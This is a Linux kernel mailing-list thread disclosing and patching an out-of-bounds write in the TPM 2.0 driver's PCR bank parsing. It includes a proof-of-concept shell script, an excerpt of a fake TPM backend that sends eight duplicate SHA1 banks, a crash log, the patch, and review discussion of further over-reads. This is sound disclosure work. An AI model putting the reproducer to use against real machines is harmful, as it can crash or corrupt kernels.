tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation
Subsystems (3)
cover tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation
Hi Linux kernel maintainers,
We found and validated an issue in drivers/char/tpm/tpm2-cmd.c. The bug is triggered by an attacker-controlled TPM 2.0 backend that returns duplicate PCR bank selections in its TPM2_CAP_PCRS response during device probe.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
struct tpm_chip reserves chip->groups as an array with only 3 + TPM_MAX_HASHES slots (8, with TPM_MAX_HASHES = 5). tpm2_get_pcr_allocation() parses the TPM2_CAP_PCRS response and adds every selection with a non-zero pcr_select to chip->allocated_banks[]. It rejects more than TPM2_MAX_PCR_BANKS (8) selections but never checks that the hash algorithm is unique. tpm_sysfs_add_device() then stores the device group plus one PCR group per allocated bank with chip->groups[chip->groups_cnt++], so eight duplicate SHA1 banks make it write index 8 of an 8-element array, before the trailing WARN_ON(chip->groups_cnt > TPM_MAX_HASHES + 1).
The TPM response is external input: a malicious or buggy TPM 2.0 backend can report the same bank eight times and drive the out-of-bounds write during tpm_chip_register() -> tpm_sysfs_add_device().
Keep allocated_banks[] unique by ignoring a selection whose hash algorithm has already been added; the number of distinct groups then matches the number of distinct hash algorithms.
Reproducer:
cd /root
./poc.sh
poc.sh starts malicious_tpm.py, a small swtpm-control-protocol backend that answers TPM2_CAP_PCRS with eight duplicate SHA1 selections, and boots a kernel with -device tpm-tis pointing at it.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU/KVM environment with CONFIG_TCG_TPM, CONFIG_TCG_TIS and CONFIG_UBSAN_BOUNDS enabled and panic_on_warn=1 on the kernel command line. The test build has CONFIG_TCG_TPM2_HMAC disabled so the probe reaches TPM2_CAP_PCRS without the fake backend having to answer CREATE_PRIMARY.
------BEGIN poc.sh------
#!/usr/bin/env bash
set -euo pipefail
DIR="$(cd -- "$(dirname -- "$0")" && pwd)" KERNEL_SRC="${1:-/home/data/data/repos/linux-repos/linux-lts-v6.12.74}" CTRL_SOCK="$(mktemp -u /tmp/malicious-tpm-XXXXXX.sock)" BACKEND_LOG="${DIR}/backend.log" RAW_QEMU_LOG="${DIR}/qemu-raw.log" QEMU_LOG="${DIR}/qemu.log"
cleanup() {
if [[ -n "${BACKEND_PID:-}" ]] && kill -0 "${BACKEND_PID}" 2>/dev/null; then
kill -TERM "${BACKEND_PID}" 2>/dev/null || true
wait "${BACKEND_PID}" 2>/dev/null || true fi
rm -f "${CTRL_SOCK}"
}
trap cleanup EXIT
: > "${BACKEND_LOG}"
python3 "${DIR}/malicious_tpm.py" --ctrl "${CTRL_SOCK}" --log "${BACKEND_LOG}" & BACKEND_PID=$!
echo "backend log: ${BACKEND_LOG}"
echo "raw qemu log: ${RAW_QEMU_LOG}"
echo "sanitized qemu log: ${QEMU_LOG}"
echo "The VM should exit on its own after the panic. If it does not, kill the printed pid."
script -q -f "${RAW_QEMU_LOG}" -c "${DIR}/qemu-start-kernel-tpm.sh ${KERNEL_SRC} ${CTRL_SOCK}" perl -pe 's/\e\[[0-9;?]*[ -\/]*[@-~]//g; s/\ec//g; s/\r//g' "${RAW_QEMU_LOG}" > "${QEMU_LOG}"
if grep -q 'UBSAN: array-index-out-of-bounds in ../drivers/char/tpm/tpm-sysfs.c:513:16' "${QEMU_LOG}" &&
grep -q 'Kernel panic - not syncing: UBSAN: panic_on_warn set' "${QEMU_LOG}"; then
echo "Trigger confirmed. See ${QEMU_LOG}"
else
echo "Trigger not observed. See ${QEMU_LOG} and ${BACKEND_LOG}" >&2
exit 1
fi
------END poc.sh--------
------BEGIN malicious_tpm.py excerpt------
ALG_SHA1 = 0x0004
def build_get_cap_pcrs():
entries = []
for _ in range(8):
entries.append(be16(ALG_SHA1) + b"\x03" + b"\x01\x00\x00")
payload = b"\x00" + be32(TPM2_CAP_PCRS) + be32(8) + b"".join(entries)
return build_header(TPM2_RC_SUCCESS, payload)
if cap == TPM2_CAP_PCRS:
return build_get_cap_pcrs()------END malicious_tpm.py excerpt------
----BEGIN crash log----
[ 0.487531] ------------[ cut here ]------------ [ 0.487533] UBSAN: array-index-out-of-bounds in /home/lucas/work/net-tpm-675/drivers/char/tpm/tpm-sysfs.c:517:16 [ 0.487535] index 8 is out of range for type 'attribute_group *[8]' [ 0.487538] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 7.3.0-rc3-00322-gab411db3c3b1 #2 PREEMPT(lazy) [ 0.487541] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-10.fc44 06/10/2025 [ 0.487542] Call Trace: [ 0.487553] <TASK> [ 0.487555] dump_stack_lvl+0x4d/0x70 [ 0.487561] ubsan_epilogue+0x5/0x2b [ 0.487564] __ubsan_handle_out_of_bounds.cold+0x4e/0x58 [ 0.487567] tpm_sysfs_add_device+0x29f/0x380 [ 0.487573] tpm_chip_register+0x3d/0x1e0 [ 0.487576] ? srso_alias_return_thunk+0x5/0xfbef5 [ 0.487579] ? srso_alias_return_thunk+0x5/0xfbef5 [ 0.487580] tpm_tis_core_init.cold+0x1bc/0x3a1 [ 0.487584] tpm_tis_plat_probe+0x101/0x130 [ 0.487588] ? srso_alias_return_thunk+0x5/0xfbef5 [ 0.487590] platform_probe+0x74/0xc0 [ 0.487594] ? driver_sysfs_add+0x50/0x80 [ 0.487596] really_probe+0xdd/0x290 [ 0.487597] ? srso_alias_return_thunk+0x5/0xfbef5 [ 0.487599] __driver_probe_device+0x99/0x180 [ 0.487601] ? __pfx___driver_attach+0x10/0x10 [ 0.487602] driver_probe_device+0x1a/0xa0 [ 0.487604] ? __pfx___driver_attach+0x10/0x10 [ 0.487605] __driver_attach+0xab/0x180 [ 0.487607] ? srso_alias_return_thunk+0x5/0xfbef5 [ 0.487608] bus_for_each_dev+0x92/0xf0 [ 0.487611] bus_add_driver+0x104/0x220 [ 0.487613] ? __pfx_init_tis+0x10/0x10 [ 0.487617] driver_register+0x70/0xe0 [ 0.487619] init_tis+0x9b/0xf0 [ 0.487623] do_one_initcall+0x84/0x260 [ 0.487626] kernel_init_freeable+0x249/0x2c0 [ 0.487630] ? __pfx_kernel_init+0x10/0x10 [ 0.487633] kernel_init+0x1b/0x140 [ 0.487635] ? __pfx_kernel_init+0x10/0x10 [ 0.487637] ret_from_fork+0x196/0x260 [ 0.487640] ? __pfx_kernel_init+0x10/0x10 [ 0.487641] ? __pfx_kernel_init+0x10/0x10 [ 0.487643] ret_from_fork_asm+0x1a/0x30 [ 0.487646] </TASK> [ 0.487647] ---[ end trace ]--- [ 0.487648] Kernel panic - not syncing: UBSAN: panic_on_warn set ...
-----END crash log-----
Best regards,
Yuqi Xu
Yuqi Xu (1):
tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation
drivers/char/tpm/tpm2-cmd.c | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-)
base-commit: ab411db3c3b1fd0c70a36fb32c96b2c60175210b
Signature · 1 line
2.55.0
PATCH 1/1 tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation
The TPM2_CAP_PCRS response is external input and may contain duplicate hash algorithms. tpm2_get_pcr_allocation() adds every active selection to allocated_banks, while tpm_sysfs_add_device() has one group slot per distinct hash algorithm. Eight duplicate selections can therefore make it write past chip->groups[].
Keep allocated_banks unique by ignoring duplicate hash algorithms while parsing the response.
--- drivers/char/tpm/tpm2-cmd.c | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-)
drivers/char/tpm/tpm2-cmd.c +13 -5
@@ -527,6 +527,7 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)u32 rsp_len;int rc;int i =0 ; +int j; struct tpm_buf *buf __free(kfree) = kzalloc(TPM_BUFSIZE, GFP_KERNEL);if (!buf)
@@ -569,13 +570,20 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip) pcr_select_offset =memchr_inv (pcr_selection.pcr_select,0 , pcr_selection.size_of_select);if (pcr_select_offset) { - chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg; +for (j =0 ; j < nr_alloc_banks; j++) { +if (chip->allocated_banks[j].alg_id == hash_alg) +break ; + } - rc =tpm2_init_bank_info (chip, nr_alloc_banks); -if (rc <0 ) -break ; +if (j == nr_alloc_banks) { + chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg; - nr_alloc_banks++; + rc =tpm2_init_bank_info (chip, nr_alloc_banks); +if (rc <0 ) +break ; + + nr_alloc_banks++; + } } sizeof_pcr_selection = sizeof(pcr_selection.hash_alg) +
Signature · 1 line
2.55.0
Thank you for the review. We checked all three items against the tree this patch was based on. Two of them describe real pre-existing validation gaps in tpm2_get_pcr_allocation(); the third does not apply to that function. None of them is introduced or altered by this patch, which only makes allocated_banks[] unique by hash algorithm.
Quoted 2 lines
1) Stack out-of-bounds read in
tpm2_get_pcr_allocation()when parsing TPM response due to trustingsize_of_select.
Confirmed, and it is pre-existing. struct tpm2_pcr_selection declares pcr_select as a fixed u8[3] (include/linux/tpm_command.h:419-423), while size_of_select is a u8 taken verbatim from the TPM response (drivers/char/tpm/tpm2-cmd.c:567). memchr_inv() is then called with that attacker-controlled length over the 3-byte stack array (tpm2-cmd.c:570), so size_of_select up to 255 makes it read up to 252 bytes past pcr_select. The value is only used as a boolean, so this is an out-of-bounds read rather than a direct information leak, but it is still undefined behaviour and KASAN would flag it with a hostile TPM. It was introduced by bcfff8384f6c ("tpm: dynamically allocate the allocated_banks array"), long before this patch.
It is a different root cause from ignoring duplicate hash algorithms, so it is outside the scope of this series.
Quoted 3 lines
2) Heap out-of-bounds read in
tpm2_get_pcr_allocation()due to insufficient buffer length validation before copying the TPM response payload.
The "insufficient validation" part is correct, but we do not think it is reachable as a heap out-of-bounds read. The guard before the copy only proves that marker + offsetof(size_of_select) is inside the response, i.e. 3 bytes (tpm2-cmd.c:560-565), while memcpy() then copies sizeof(pcr_selection) = 6 bytes (tpm2-cmd.c:567). memcpy() can go past end only because of that 3-byte guard versus the 6-byte copy, so the source read exceeds the logical end by at most 3 bytes.
After a successful tpm_try_transmit(), len equals header->length (tpm-interface.c:202), and tpm_transmit_cmd() stores that value in buf->length. rsp_len taken from the header is therefore the same length, not a weaker bound than buf->length.
The loop is capped at nr_possible_banks <= TPM2_MAX_PCR_BANKS = 8 (tpm2-cmd.c:548), with marker advancing by at most 3 + 255 per iteration. The last memcpy source is therefore at offset 1825; after the loop marker is at most 2083, still well inside the TPM_BUFSIZE (4096) kzalloc buffer, so the read never leaves the allocation. The over-read is limited to the area between the logical response end and the end of the same buffer.
This guard also predates the patch (1db15344f874).
Quoted 2 lines
3) Function mixes goto-based error handling with
__free()scope-based cleanup, violating subsystem guidelines.
We could not find such a mix in tpm2_get_pcr_allocation(). The function has no goto: it uses only break and return (tpm2-cmd.c:534, 544, 551, 597), with __free(kfree) on buf as the only cleanup construct.
To summarize: item 1 is a real pre-existing out-of-bounds read. For item 2 the insufficient guard is real, but a heap out-of-bounds read is not reachable. Item 3 does not apply to this function. This series is intentionally limited to ignoring duplicate hash algorithms so that nr_allocated_banks, and therefore groups_cnt, always equals the number of distinct algorithms the TPM reports.
Best regards,
Yuqi Xu
Jarkko Sakkinen
maintainerQuoted 9 lines · Yuqi Xu
The
TPM2_CAP_PCRSresponse is external input and may contain duplicate hash algorithms.tpm2_get_pcr_allocation()adds every active selection toallocated_banks, whiletpm_sysfs_add_device()has one group slot per distinct hash algorithm. Eight duplicate selections can therefore make it write past chip->groups[].Keep
allocated_banksunique by ignoring duplicate hash algorithms while parsing the response.
Quoted 7 lines
Fixes aab73d952402 ("tpm: add sysfs exports for all banks of PCR registers")Reported-by Vega <[email protected]>Assisted-by LLMSigned-off-by Yuqi Xu <[email protected]>Reviewed-by Ren Wei <[email protected]>---
It may not contain duplicates as per protocol spec i.e., instead of silently ignoring the error -EIO should be returned. TPM should not be enabled if it is compromised.
Quoted 44 lines
drivers/char/tpm/tpm2-cmd.c | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-)drivers/char/tpm/tpm2-cmd.c +13
-5@@ -527,6 +527,7 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)u32 rsp_len;int rc;int i =0 ; +int j; struct tpm_buf *buf __free(kfree) = kzalloc(TPM_BUFSIZE, GFP_KERNEL);if (!buf)@@ -569,13 +570,20 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip) pcr_select_offset =memchr_inv (pcr_selection.pcr_select,0 , pcr_selection.size_of_select);if (pcr_select_offset) { - chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg; +for (j =0 ; j < nr_alloc_banks; j++) { +if (chip->allocated_banks[j].alg_id == hash_alg) +break ; + } - rc =tpm2_init_bank_info (chip, nr_alloc_banks); -if (rc <0 ) -break ; +if (j == nr_alloc_banks) { + chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg; - nr_alloc_banks++; + rc =tpm2_init_bank_info (chip, nr_alloc_banks); +if (rc <0 ) +break ; + + nr_alloc_banks++; + } } sizeof_pcr_selection = sizeof(pcr_selection.hash_alg) +Signature · 1 line
2.55.0
Br, Jarkko